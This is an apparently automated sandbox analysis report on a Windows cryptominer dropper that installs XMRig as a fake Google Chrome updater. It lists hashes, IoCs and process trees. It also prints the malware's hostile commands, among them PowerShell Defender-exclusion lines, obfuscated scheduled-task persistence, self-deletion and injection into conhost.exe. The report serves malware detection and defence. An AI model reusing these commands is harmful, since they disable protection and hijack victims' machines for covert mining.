Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
454s -
max time network
1790s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231129-en
General
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Target
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 1400 created 1188 1400 JqLvG94UkYjhxAeg.exe 15 PID 1400 created 1188 1400 JqLvG94UkYjhxAeg.exe 15 PID 1400 created 1188 1400 JqLvG94UkYjhxAeg.exe 15 PID 1400 created 1188 1400 JqLvG94UkYjhxAeg.exe 15 PID 2948 created 1188 2948 updater.exe 15 PID 2948 created 1188 2948 updater.exe 15 PID 2948 created 1188 2948 updater.exe 15 PID 2948 created 1188 2948 updater.exe 15 PID 404 created 1188 404 conhost.exe 15 PID 2948 created 1188 2948 updater.exe 15 -
XMRig Miner payload 29 IoCs
resource yara_rule behavioral15/memory/2984-72-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2984-74-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2984-78-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2984-80-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2984-82-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2984-84-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2984-86-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2984-88-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2984-90-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2984-92-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2984-94-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2984-96-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2984-98-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2984-100-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2984-102-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2984-104-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2984-106-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2984-108-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2984-110-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2984-112-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2984-114-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2984-116-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2984-118-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2984-120-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2984-122-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2984-124-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2984-126-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2984-128-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2984-130-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
pid Process 2568 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 2948 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 1796 taskeng.exe -
resource yara_rule behavioral15/memory/2984-67-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2984-72-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2984-74-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2984-78-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2984-80-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2984-82-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2984-84-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2984-86-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2984-88-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2984-90-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2984-92-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2984-94-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2984-96-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2984-98-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2984-100-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2984-102-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2984-104-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2984-106-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2984-108-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2984-110-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2984-112-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2984-114-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2984-116-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2984-118-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2984-120-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2984-122-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2984-124-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2984-126-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2984-128-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2984-130-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2948 set thread context of 404 2948 updater.exe 49 PID 2948 set thread context of 2984 2948 updater.exe 51 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe JqLvG94UkYjhxAeg.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2068 schtasks.exe 2772 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1528 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 305b67319f51da01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 1400 JqLvG94UkYjhxAeg.exe 1400 JqLvG94UkYjhxAeg.exe 2228 powershell.exe 1400 JqLvG94UkYjhxAeg.exe 1400 JqLvG94UkYjhxAeg.exe 2732 powershell.exe 1400 JqLvG94UkYjhxAeg.exe 1400 JqLvG94UkYjhxAeg.exe 1400 JqLvG94UkYjhxAeg.exe 1400 JqLvG94UkYjhxAeg.exe 2720 powershell.exe 2948 updater.exe 2948 updater.exe 1584 powershell.exe 2948 updater.exe 2948 updater.exe 2496 powershell.exe 2948 updater.exe 2948 updater.exe 2948 updater.exe 2948 updater.exe 404 conhost.exe 404 conhost.exe 2948 updater.exe 2948 updater.exe -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 2228 powershell.exe Token: SeDebugPrivilege 2732 powershell.exe Token: SeDebugPrivilege 2720 powershell.exe Token: SeDebugPrivilege 1584 powershell.exe Token: SeDebugPrivilege 2496 powershell.exe Token: SeDebugPrivilege 2948 updater.exe Token: SeAssignPrimaryTokenPrivilege 1528 WMIC.exe Token: SeIncreaseQuotaPrivilege 1528 WMIC.exe Token: SeSecurityPrivilege 1528 WMIC.exe Token: SeTakeOwnershipPrivilege 1528 WMIC.exe Token: SeLoadDriverPrivilege 1528 WMIC.exe Token: SeSystemtimePrivilege 1528 WMIC.exe Token: SeBackupPrivilege 1528 WMIC.exe Token: SeRestorePrivilege 1528 WMIC.exe Token: SeShutdownPrivilege 1528 WMIC.exe Token: SeSystemEnvironmentPrivilege 1528 WMIC.exe Token: SeUndockPrivilege 1528 WMIC.exe Token: SeManageVolumePrivilege 1528 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1528 WMIC.exe Token: SeIncreaseQuotaPrivilege 1528 WMIC.exe Token: SeSecurityPrivilege 1528 WMIC.exe Token: SeTakeOwnershipPrivilege 1528 WMIC.exe Token: SeLoadDriverPrivilege 1528 WMIC.exe Token: SeSystemtimePrivilege 1528 WMIC.exe Token: SeBackupPrivilege 1528 WMIC.exe Token: SeRestorePrivilege 1528 WMIC.exe Token: SeShutdownPrivilege 1528 WMIC.exe Token: SeSystemEnvironmentPrivilege 1528 WMIC.exe Token: SeUndockPrivilege 1528 WMIC.exe Token: SeManageVolumePrivilege 1528 WMIC.exe Token: SeLockMemoryPrivilege 2984 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2732 wrote to memory of 2772 2732 powershell.exe 32 PID 2732 wrote to memory of 2772 2732 powershell.exe 32 PID 2732 wrote to memory of 2772 2732 powershell.exe 32 PID 2568 wrote to memory of 2680 2568 cmd.exe 33 PID 2568 wrote to memory of 2680 2568 cmd.exe 33 PID 2568 wrote to memory of 2680 2568 cmd.exe 33 PID 2720 wrote to memory of 1960 2720 powershell.exe 35 PID 2720 wrote to memory of 1960 2720 powershell.exe 35 PID 2720 wrote to memory of 1960 2720 powershell.exe 35 PID 1796 wrote to memory of 2948 1796 taskeng.exe 36 PID 1796 wrote to memory of 2948 1796 taskeng.exe 36 PID 1796 wrote to memory of 2948 1796 taskeng.exe 36 PID 2496 wrote to memory of 2068 2496 powershell.exe 53 PID 2496 wrote to memory of 2068 2496 powershell.exe 53 PID 2496 wrote to memory of 2068 2496 powershell.exe 53 PID 2948 wrote to memory of 404 2948 updater.exe 49 PID 1700 wrote to memory of 1528 1700 cmd.exe 52 PID 1700 wrote to memory of 1528 1700 cmd.exe 52 PID 1700 wrote to memory of 1528 1700 cmd.exe 52 PID 2948 wrote to memory of 2984 2948 updater.exe 51 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1188
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1400
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2228
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2732 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2772
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2568
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2720
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1584
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2496 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2068
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1700 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1528
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1736
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:404
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2984
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:2680
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C:\Windows\system32\taskeng.exetaskeng.exe {B7395D91-D187-4BCA-BDB0-75D5570E3E36} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1796 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2948
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC1⤵PID:1960
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
289KB
MD549a8b35ea9be64b9634d976c979110cd
SHA1a98fccbdb6be49cb47236408fc5329b559d0fc63
SHA256223d5c344db19c457f31150649286cd893564558bb6966c7e0f7a5cd38a384eb
SHA512674e452184d1a5b774f707a782cde48634b4d710353a3669371ecf6fefe20c8ad4ffc0f870877f248afd990f3215af6733296f14fabd2e79d59cccd0cd7beb43
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Filesize
139KB
MD5d770076465bdba0d6c583a6791ccf51c
SHA1d8411f3a7db3dff178763aeca05f8f91f73f0338
SHA2560fc79107a624259871e84ab2131f1500e55c62b1115321c94362d8f61b5a484e
SHA512e0f81fa987f64ba01f7fc70872b601c72b4ae9a0cfdf55225775a788032c99e194071d20e69d83c8a221c3a0211d32af43d35fae68a5a92e5c68d0192d9130e7
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD53832096173dc2689a8236446fc44a25d
SHA1365d96364c5dbccbc06e72bc3613a9bbe1255a4f
SHA256cd58c2e3546a658548094a0dc04b61e5aa37ec4af62aa104ef61df15ba710a74
SHA5126284d2e24eeb0f1203281a287fb43bb2d21f2ab95b50a5ad5bb6f47f849250c2f112886c1c4bbc270e878e02c83e098a26c430ace611ba7d54e932b442bc54ee
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Filesize
543KB
MD5b5b231dd32d973e1d713080ebf7f6615
SHA1bc0ae4f73e3058595e8a692d5cb06b08ac749f66
SHA2561a67c4d1406b3323f08f3cab7577d470d58940329ce5bfe6bcb0a8757e7e7c4e
SHA51293f4205dd35913501d42616ed4c007a917f4217d3bef6ed842254a3b7f38f7ec9ebdd58bb4f5af47dc2b2f0295953e476322247c7ed329383661c5de47604c99